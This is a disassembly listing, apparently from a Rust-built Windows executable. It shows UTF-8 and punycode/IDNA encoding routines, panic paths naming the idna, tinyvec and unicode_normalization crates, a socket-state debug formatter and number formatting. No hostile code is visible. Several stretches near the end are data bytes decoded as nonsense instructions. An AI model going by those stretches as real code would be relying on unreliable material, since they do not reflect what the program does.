je 0x140043ce8
cmp eax, 5
jne 0x140043f55
mov r15b, 1
jmp 0x140043ceb
test sil, 1
sete al
test r15b, 1
sete sil
or sil, al
jmp 0x140043dc3
movzx eax, byte [r13 - 1]
test al, al
js 0x140043dff
dec r13
movzx ebp, al
jmp 0x140043e20
mov sil, 1
movzx eax, byte [r13 - 1]
test al, al
js 0x140043dd7
dec r13
movzx ebp, al
jmp 0x140043ebb
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140043f2b
movzx edx, byte [r13 - 3]
cmp dl, 0xbf
jle 0x140043ef8
add r13, 0xfffffffffffffffd
and edx, 0xf
jmp 0x140043f0f
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140043e8f
movzx edx, byte [r13 - 3]
cmp dl, 0xbf
jle 0x140043e59
add r13, 0xfffffffffffffffd
and edx, 0xf
jmp 0x140043e70
mov ecx, ebp
call fcn.1400f5410
cmp al, 0xd
jne 0x140043e98
cmp r13, r12
je 0x140043b78
movzx eax, byte [r13 - 1]
test al, al
js 0x140043e45
dec r13
movzx ebp, al
jmp 0x140043e82
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140043e8f
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x140043e17
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx ebp, al
or ebp, ecx
cmp ebp, 0x110000
jne 0x140043e20
jmp 0x140043b78
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x140043e78
mov ecx, ebp
call fcn.1400f5410
cmp al, 9
je 0x140043b78
mov ecx, ebp
call fcn.1400f5410
cmp al, 5
je 0x140043b78
jmp 0x140043f55
mov ecx, ebp
call fcn.1400f5410
cmp al, 0xd
jne 0x140043f34
cmp r13, r12
je 0x140043f55
movzx eax, byte [r13 - 1]
test al, al
js 0x140043ee0
dec r13
movzx ebp, al
jmp 0x140043f21
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140043f2b
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x140043df3
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx ebp, al
or ebp, ecx
cmp ebp, 0x110000
jne 0x140043ebb
jmp 0x140043f55
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x140043f17
mov ecx, ebp
call fcn.1400f5410
cmp al, 0x11
ja 0x140043f55
movzx eax, al
mov ecx, 0x20023
bt ecx, eax
jae 0x140043f55
test sil, sil
jne 0x140043b78
mov byte [rsp + 0x32], 1
movzx ebx, byte [rsp + 0x30]
movzx eax, byte [rsp + 0x31]
mov dword [rsp + 0x158], eax
movzx eax, byte [rsp + 0x32]
mov dword [rsp + 0x108], eax
movzx eax, byte [rsp + 0x33]
mov dword [rsp + 0x148], eax
movzx eax, byte [rsp + 0x34]
mov dword [rsp + 0xf8], eax
movzx eax, byte [rsp + 0x35]
mov dword [rsp + 0x140], eax
movzx eax, byte [rsp + 0x36]
mov dword [rsp + 0x138], eax
movzx eax, byte [rsp + 0x37]
mov dword [rsp + 0x120], eax
movzx eax, byte [rsp + 0x38]
mov dword [rsp + 0x130], eax
movzx esi, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x3a]
mov dword [rsp + 0x154], eax
movzx eax, byte [rsp + 0x3b]
mov dword [rsp + 0x12c], eax
cmp qword [rsp + 0x1c8], 0
mov r13, qword [rsp + 0x340]
je 0x14004400a
mov r8, qword [rsp + 0x1d0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r13 + 0x10]
test rdi, rdi
mov r15, qword [rsp + 0x110]
je 0x140044040
js 0x140044c63
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
jne 0x140044045
mov ecx, 1
mov rdx, rdi
call fcn.140107fc0
mov eax, 1
mov ebp, ebx
mov dword [rsp + 0x150], esi
mov rcx, qword [r13 + 0x10]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x50], xmm0
mov qword [r13], rdi
mov qword [r13 + 8], rax
mov qword [r13 + 0x10], 0
lea rsi, [r15 + 0x18]
cmp qword [r15 + 0x18], 0
je 0x14004408f
mov r8, qword [r15 + 0x20]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x60]
mov qword [rsi + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x50]
movdqu xmmword [rsi], xmm0
mov rax, qword [r15 + 0x20]
mov rcx, qword [r15 + 0x28]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x88], 1
mov word [rsp + 0x90], 1
mov bl, 1
mov ecx, ebp
jmp 0x140044148
mov rax, qword [r13]
mov r13, qword [r13 + 0x10]
sub rax, r13
cmp rax, rdx
jb 0x1400449da
mov rbp, rdx
mov rsi, qword [rsp + 0x340]
mov rcx, qword [rsi + 8]
add rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, rbp
call fcn.140106250
add rbp, r13
mov r13, rsi
mov r15, qword [rsp + 0x110]
mov ecx, dword [rsp + 0x104]
mov qword [r13 + 0x10], rbp
xor ebx, ebx
mov dword [rsp + 0x104], ecx
mov ebp, ecx
lea rcx, [rsp + 0x50]
call fcn.140037a40
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400449fc
test bl, 1
mov r10d, 1
movabs rbx, 0x8080808080808080
jne 0x1400441ab
mov rsi, qword [r13 + 0x10]
cmp rsi, qword [r13]
jne 0x14004419c
mov rcx, r13
mov rdi, rdx
call fcn.1400ba350
mov r10d, 1
mov rdx, rdi
mov rax, qword [r13 + 8]
mov byte [rax + rsi], 0x2e
inc rsi
mov qword [r13 + 0x10], rsi
cmp rdx, 8
jae 0x140044281
test rdx, rdx
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 1], 0
js 0x1400442d0
mov rax, rdx
dec rax
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 2], 0
js 0x1400442d0
mov rax, rdx
add rax, 0xfffffffffffffffe
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 3], 0
js 0x1400442d0
mov rax, rdx
add rax, 0xfffffffffffffffd
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 4], 0
js 0x1400442d0
mov rax, rdx
add rax, 0xfffffffffffffffc
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 5], 0
js 0x1400442d0
mov rax, rdx
add rax, 0xfffffffffffffffb
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 6], 0
js 0x1400442d0
mov rax, rdx
add rax, 0xfffffffffffffffa
je 0x1400440fa
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 7], 0
js 0x1400442d0
mov rax, rdx
add rax, 0xfffffffffffffff9
jne 0x1400442d0
jmp 0x1400440fa
mov rax, qword [rsp + 0x40]
test qword [rax], rbx
jne 0x1400442d0
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + 7]
and rax, 0xfffffffffffffff8
sub rax, rcx
mov ecx, 8
cmove rax, rcx
lea rcx, [rdx - 8]
cmp rax, rcx
jae 0x1400442c1
mov r8, qword [rsp + 0x40]
test qword [r8 + rax], rbx
jne 0x1400442d0
add rax, 8
cmp rax, rcx
jb 0x1400442ad
mov rax, qword [rsp + 0x40]
test qword [rax + rcx], rbx
je 0x1400440fa
mov rcx, qword [r13]
mov rax, qword [r13 + 0x10]
sub rcx, rax
mov qword [rsp + 0x160], rax
cmp rcx, 3
jbe 0x1400443e1
mov rcx, qword [r13 + 8]
mov dword [rcx + rax], 0x2d2d6e78
add rax, 4
mov qword [r13 + 0x10], rax
xor ebx, ebx
test rdx, rdx
je 0x140044151
mov rsi, qword [rsp + 0x40]
mov r14, rsi
add r14, rdx
mov dword [rsp + 0x4c], 0
jmp 0x14004433a
mov ebp, dword [rsp + 0x104]
inc ebx
cmp rsi, r14
mov r15, qword [rsp + 0x110]
je 0x140044413
movzx r8d, byte [rsi]
movzx edx, r8b
test dl, dl
js 0x14004434b
inc rsi
jmp 0x1400443ad
mov eax, edx
and eax, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140044394
movzx ecx, byte [rsi + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x1400443a2
movzx edx, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x14004440c
add rsi, 4
jmp 0x1400443ad
add rsi, 2
shl eax, 6
or eax, r9d
mov edx, eax
jmp 0x1400443ad
add rsi, 3
shl eax, 0xc
or ecx, eax
mov edx, ecx
mov eax, ebx
inc eax
mov dword [rsp + 0x11c], eax
je 0x140044992
cmp edx, 0x80
jae 0x140044320
mov rcx, r13
call fcn.1400f6a00
mov r10d, 1
inc dword [rsp + 0x4c]
jmp 0x140044320
mov r8d, 4
mov rcx, r13
mov rsi, rdx
mov rdx, qword [rsp + 0x160]
call fcn.140109710
mov r10d, 1
mov rdx, rsi
mov rax, qword [r13 + 0x10]
jmp 0x1400442ed
mov dword [rsp + 0x11c], ebx
cmp dword [rsp + 0x4c], 0
je 0x140044441
mov rsi, qword [r13 + 0x10]
cmp rsi, qword [r13]
jne 0x140044432
mov rcx, r13
call fcn.1400ba350
mov r10d, 1
mov rax, qword [r13 + 8]
mov byte [rax + rsi], 0x2d
inc rsi
mov qword [r13 + 0x10], rsi
xor r8d, r8d
mov ebx, 0
mov eax, dword [rsp + 0x11c]
cmp dword [rsp + 0x4c], eax
jae 0x140044151
mov eax, 0x80
mov r11d, 0x48
mov r12d, dword [rsp + 0x4c]
mov qword [rsp + 0x1b0], r14
mov rcx, qword [rsp + 0x40]
xor edx, edx
cmp rcx, r14
je 0x1400445db
mov r15, r11
movzx r11d, byte [rcx]
movzx esi, r11b
test sil, sil
js 0x14004449a
inc rcx
jmp 0x14004451d
mov r9d, esi
and r9d, 0x1f
mov edi, esi
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dil, 0xdf
jbe 0x1400444f9
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140044509
movzx esi, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and esi, 0x3f
or esi, r10d
or esi, r9d
cmp esi, 0x110000
mov r10d, 1
mov r11, r15
je 0x1400445ea
add rcx, 4
jmp 0x140044520
add rcx, 2
shl r9d, 6
or r9d, esi
mov esi, r9d
jmp 0x14004451d
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov esi, r10d
mov r10d, 1
mov r11, r15
cmp eax, esi
ja 0x140044477
mov edx, 1
cmp rcx, r14
jne 0x140044554
jmp 0x1400445ea
inc rcx
cmp r9d, r10d
mov esi, r10d
cmovb esi, r9d
cmp r10d, eax
cmovb esi, r9d
cmp rcx, r14
je 0x1400445e4
mov r9d, esi
movzx ebx, byte [rcx]
movzx r10d, bl
test r10b, r10b
jns 0x140044537
mov r11d, r10d
and r11d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r10b, 0xdf
jbe 0x1400445b5
movzx esi, byte [rcx + 2]
shl edi, 6
and esi, 0x3f
or esi, edi
cmp bl, 0xf0
jb 0x1400445c5
movzx r10d, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl esi, 6
and r10d, 0x3f
or r10d, esi
or r10d, r11d
cmp r10d, 0x110000
je 0x140044979
add rcx, 4
jmp 0x1400445d3
add rcx, 2
shl r11d, 6
or r11d, edi
mov r10d, r11d
jmp 0x1400445d3
add rcx, 3
shl r11d, 0xc
or esi, r11d
mov r10d, esi
mov r11, r15
jmp 0x14004453a
test edx, edx
jne 0x1400445f2
jmp 0x140044c22
mov r10d, 1
test edx, edx
je 0x140044c22
mov ecx, r12d
inc ecx
je 0x140044beb
mov r9d, esi
sub r9d, eax
mov eax, r8d
not eax
xor edx, edx
div ecx
cmp r9d, eax
ja 0x140044992
mov edx, r9d
imul edx, ecx
add edx, r8d
mov dword [rsp + 0x48], edx
mov rcx, qword [rsp + 0x40]
mov ebx, 0x1a
mov dword [rsp + 0x128], esi
jmp 0x140044646
mov r8d, dword [rsp + 0x48]
mov r9d, r12d
cmp rcx, r14
je 0x140044941
movzx r8d, byte [rcx]
movzx eax, r8b
test al, al
js 0x14004465b
inc rcx
cmp eax, esi
jae 0x1400446d8
jmp 0x1400446c9
mov rdi, rcx
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400446a9
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400446b7
movzx eax, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x14004496f
add rdi, 4
jmp 0x1400446c2
add rdi, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x1400446c2
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
mov rcx, rdi
cmp eax, esi
jae 0x1400446d8
inc dword [rsp + 0x48]
je 0x140044992
mov ebx, 0x1a
cmp eax, esi
jne 0x140044635
mov qword [rsp + 0x1b8], rcx
mov dword [rsp + 0x15c], r12d
lea r12d, [r11 + 0x1a]
lea ecx, [r11 - 0x24]
neg ecx
cmp r12d, 0x25
cmovb ecx, ebx
cmp r11d, 0x24
cmovae ecx, r10d
mov edx, dword [rsp + 0x48]
mov eax, edx
cmp edx, ecx
jae 0x1400447cc
mov edx, 0x61
cmp eax, 0x1a
jb 0x14004472f
mov edx, 0x16
cmp eax, 0x24
jae 0x140044c08
add edx, eax
mov rcx, r13
call fcn.1400f6a00
mov eax, dword [rsp + 0x15c]
mov r9d, eax
inc r9d
mov r11d, 0xd41d41d5
je 0x140044b70
cmp eax, dword [rsp + 0x4c]
mov ecx, 2
mov eax, 0x2bc
cmove ecx, eax
xor r8d, r8d
mov eax, dword [rsp + 0x48]
xor edx, edx
div ecx
mov ecx, eax
xor edx, edx
div r9d
add eax, ecx
cmp eax, 0x1c8
mov r14, qword [rsp + 0x1b0]
jb 0x1400448fa
xor ecx, ecx
mov esi, dword [rsp + 0x128]
nop word cs:[rax + rax]
mov edx, eax
imul rdx, r11
shr rdx, 0x20
mov r10d, eax
sub r10d, edx
shr r10d, 1
add r10d, edx
shr r10d, 5
add ecx, 0x24
cmp eax, 0x3e57
mov eax, r10d
ja 0x1400447a0
jmp 0x140044906
mov esi, r11d
neg esi
mov r14d, 0x48
mov eax, dword [rsp + 0x48]
jmp 0x14004480c
mov rcx, qword [r13 + 8]
mov byte [rcx + r15], dil
inc r15
lea ecx, [rsi + r14]
cmp r14d, r12d
cmovae ecx, ebx
cmp r14d, r11d
cmovbe ecx, r10d
mov qword [r13 + 0x10], r15
add r14d, 0x24
cmp eax, ecx
jb 0x140044717
mov r8d, ecx
sub r8d, 0x24
je 0x140044b33
sub eax, ecx
neg r8d
xor edx, edx
div r8d
add edx, ecx
mov edi, 0x61
cmp edx, 0x1a
jb 0x14004483d
mov edi, 0x16
cmp edx, 0x24
jae 0x140044c08
add edi, edx
cmp edi, 0x80
jae 0x140044880
mov r15, qword [r13 + 0x10]
cmp r15, qword [r13]
jne 0x1400447e0
mov rcx, r13
mov ebx, eax
mov rbp, r11
call fcn.1400ba350
mov r11, rbp
mov r10d, 1
mov eax, ebx
mov ebx, 0x1a
jmp 0x1400447e0
mov rcx, qword [r13]
mov r15, qword [r13 + 0x10]
sub rcx, r15
cmp rcx, 1
jbe 0x1400448c4
movzx ecx, di
mov edx, ecx
shr edx, 6
mov r13, qword [rsp + 0x340]
mov r8, qword [r13 + 8]
and ecx, 0x3f
shl ecx, 8
movzx edx, dx
or edx, ecx
or edx, 0x80c0
mov word [r8 + r15], dx
add r15, 2
jmp 0x1400447eb
mov r8d, 2
mov rbx, qword [rsp + 0x340]
mov rcx, rbx
mov rdx, r15
mov r13d, eax
mov r15, r11
call fcn.140109710
mov r11, r15
mov r10d, 1
mov eax, r13d
mov r15, qword [rbx + 0x10]
mov ebx, 0x1a
jmp 0x140044891
xor ecx, ecx
mov r10d, eax
mov esi, dword [rsp + 0x128]
lea eax, [r10*4]
lea eax, [rax + rax*8]
add r10d, 0x26
xor edx, edx
div r10w
movzx r11d, ax
add r11d, ecx
mov r12d, r9d
mov dword [rsp + 0x48], r8d
mov r10d, 1
mov rcx, qword [rsp + 0x1b8]
cmp rcx, r14
jne 0x140044646
inc r8d
inc esi
xor ebx, ebx
mov r12d, r9d
mov eax, esi
cmp r9d, dword [rsp + 0x11c]
mov r15, qword [rsp + 0x110]
mov ebp, dword [rsp + 0x104]
jb 0x140044472
jmp 0x140044151
mov r8d, dword [rsp + 0x48]
mov r9d, r12d
jmp 0x140044941
mov esi, r9d
mov r10d, 1
mov r11, r15
test edx, edx
jne 0x1400445f2
jmp 0x140044c22
mov rax, qword [r13 + 0x10]
mov cl, 1
xor ebx, ebx
mov rbp, qword [rsp + 0x160]
cmp rax, rbp
mov r15, qword [rsp + 0x110]
jb 0x140044148
mov cl, 1
test rbp, rbp
je 0x140044142
cmp rax, rbp
jbe 0x140044142
mov rax, qword [r13 + 8]
cmp byte [rax + rbp], 0xbf
jg 0x140044142
jmp 0x140044c4b
mov rsi, qword [rsp + 0x340]
mov rcx, rsi
mov r8, rdx
mov rdx, r13
mov rbp, r8
call fcn.140109710
mov r13, qword [rsi + 0x10]
jmp 0x140044111
mov r12d, ebp
mov r8d, dword [rsp + 0x158]
mov ebp, dword [rsp + 0x150]
mov r14d, dword [rsp + 0x154]
cmp byte [r15 + 0x32], 0
jne 0x14004290c
mov eax, ebp
mov esi, r14d
mov ecx, r8d
or cl, r12b
mov r9d, dword [rsp + 0x108]
mov edx, r9d
mov r10d, dword [rsp + 0x148]
or dl, r10b
or dl, cl
mov r11d, dword [rsp + 0xf8]
mov ecx, r11d
mov edi, dword [rsp + 0x140]
or cl, dil
mov ebx, dword [rsp + 0x138]
or cl, bl
or cl, dl
mov r14d, dword [rsp + 0x120]
mov edx, r14d
mov r15d, dword [rsp + 0x130]
or dl, r15b
or dl, al
or dl, sil
or dl, cl
mov cl, 2
mov r13d, dword [rsp + 0x12c]
or dl, r13b
mov rdx, qword [rsp + 0x1c0]
je 0x140044ac5
mov byte [rdx + 1], r8b
mov byte [rdx + 2], r9b
mov byte [rdx + 3], r10b
mov byte [rdx + 4], r11b
mov byte [rdx + 5], dil
mov byte [rdx + 6], bl
mov byte [rdx + 7], r14b
mov byte [rdx + 8], r15b
mov byte [rdx + 9], al
mov byte [rdx + 0xa], sil
mov byte [rdx + 0xb], r13b
mov ecx, r12d
mov byte [rdx], cl
movaps xmm6, xmmword [rsp + 0x230]
movaps xmm7, xmmword [rsp + 0x240]
movaps xmm8, xmmword [rsp + 0x250]
movaps xmm9, xmmword [rsp + 0x260]
movaps xmm10, xmmword [rsp + 0x270]
movaps xmm11, xmmword [rsp + 0x280]
movaps xmm12, xmmword [rsp + 0x290]
movaps xmm13, xmmword [rsp + 0x2a0]
movaps xmm14, xmmword [rsp + 0x2b0]
movaps xmm15, xmmword [rsp + 0x2c0]
add rsp, 0x2d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.140108840
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.140108340
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140137d8c]
mov edx, 0x321c
call fcn.1401087e0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401084f0
lea r8, [0x14012c1c0]
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbp
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r14
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbp
call fcn.140108340
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401084f0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
call fcn.140108340
lea rcx, str.explicit_panic
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
mov edx, 0xe
call fcn.140108350
ud2
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.140108690
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
mov r8, r15
mov r9, rsi
call fcn.1401087e0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172068]
mov edx, 0x30
call fcn.140108350
call fcn.140010b00
int3
and al, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], cl
and al, 0x88
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
insd dword [rdi], dx
str word [r9 + r9*4 - 0x7c]
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x98
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xa8
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xf4b56
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xc8], rcx
lea rcx, [0x14013b278]
mov qword [rsp + 0xd0], rcx
lea r13, [rsp + 0xd8]
mov qword [rsp + 0xd8], rax
lea rax, [0x14013b7d0]
mov qword [rsp + 0xe0], rax
lea r12, [rsp + 0xe8]
lea rax, [rsp + 0x40]
mov qword [rsp + 0xe8], rax
lea rax, [0x14013b7f0]
mov qword [rsp + 0xf0], rax
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
lea rdx, str.SockStateiosbpoll_infoafdbase_socketuser_evtspending_evtsuser_datapoll_statusdelete_pending_pinned
mov r8d, 9
call qword [rax + 0x18]
mov qword [rsp + 0x30], r15
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea r14, [0x1401142d0]
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b819]
lea r15, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 4
mov rcx, r15
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b81d]
mov r8d, 9
mov rcx, r15
mov r9, rbx
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b826]
invalid
sldt word [rcx - 0x48]
add eax, dword [rax]
add byte [rax], al
mov rcx, r15
mov r9, rdi
call fcn.140014730
cld
dec dword [rcx + rcx*4 + 0x74]
mov dword [rsp + 0x20], esi
invalid
cld
dec dword [rcx + rcx*4 + 0x74]
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
lea rdx, [0x14013b829]
mov r8d, 0xb
add byte [rax], al
add byte [rax], al
mov rcx, r15
mov ecx, edi
mov r9, rsi
mov ecx, esi
call fcn.140014730
mov qword [rsp + 0x20], r14
je 0x140046d8c
invalid
int3
dec dword [rcx + rcx*4 + 0x74]
and al, 0x20
je 0x140046d8c
and byte [rax - 0x73], cl
adc eax, 0xf4ac4
invalid
invalid
invalid
invalid
lea rdx, [0x14013b834]
invalid
mov r8d, 9
mov rcx, r15
mov r9, rbp
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b83d]
mov r8d, 0xc
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
mov rcx, r15
lea r9, [rsp + 0x98]
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b849]
mov r8d, 9
mov rcx, r15
lea r9, [rsp + 0xa8]
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b852]
mov r8d, 0xb
mov rcx, r15
lea r9, [rsp + 0xb8]
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b85d]
mov r8d, 0xe
mov rcx, r15
lea r9, [rsp + 0xc8]
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x140149396]
mov r8d, 5
mov rcx, r15
mov r9, r13
call fcn.140014730
mov qword [rsp + 0x20], r14
lea rdx, [0x14013b86b]
mov r8d, 7
mov rcx, r15
mov r9, r12
call fcn.140014730
movzx ecx, byte [rsp + 0x38]
cmp byte [rsp + 0x39], 0
je 0x140046e77
mov al, 1
test cl, cl
jne 0x140046e96
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x140046e7e
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144289]
mov r8d, 2
jmp 0x140046e93
test cl, cl
setne al
jmp 0x140046e96
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149c0b]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp ecx, 0x2710
jb case.0x14001a5bd.1790
add byte [rdi], cl
invalid
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
nop dword [rax + rax]
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
ret
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
cld
ret
cld
movzx ebx, word [r9 + rbx*2]
movzx ebx, word [rcx + rbx*2]
mov word [rsp + rsi + 0x2c], bx
movzx edi, word [r9 + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
mov esi, eax
mov esi, eax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140047030
cmp rdx, 0x63
jbe 0x1400470ac
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r11d, ecx, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
jae 0x1400471b7
or dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x1400471c5
add byte [rax], al
add byte [rcx - 0x77], al
shl byte [rsi + 0x66], 0x66
nop dword cs:[rax + rax]
mov rcx, r9
shr r8d, 4
call 0x1018db23e
call 0x1018db23e
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
rol dword [rax + rcx*4 + 0x54], 1
or al, 0x2e
invalid
rol dword [rax + rcx*4 + 0x54], 1
or al, 0x2e
invalid
lea r9, cs:[rcx - 1]
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x140047130
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
add byte [rax], al
add byte [rax], al
jae 0x140047200
or dword [rax - 0x48000000], 0xffffff81
add byte [rax], al
mov eax, 0x81
sub rax, r9
add dword [rax], 0x294c0000
enter 0x148, 0xffffffffffffffe1
add byte [rax], al
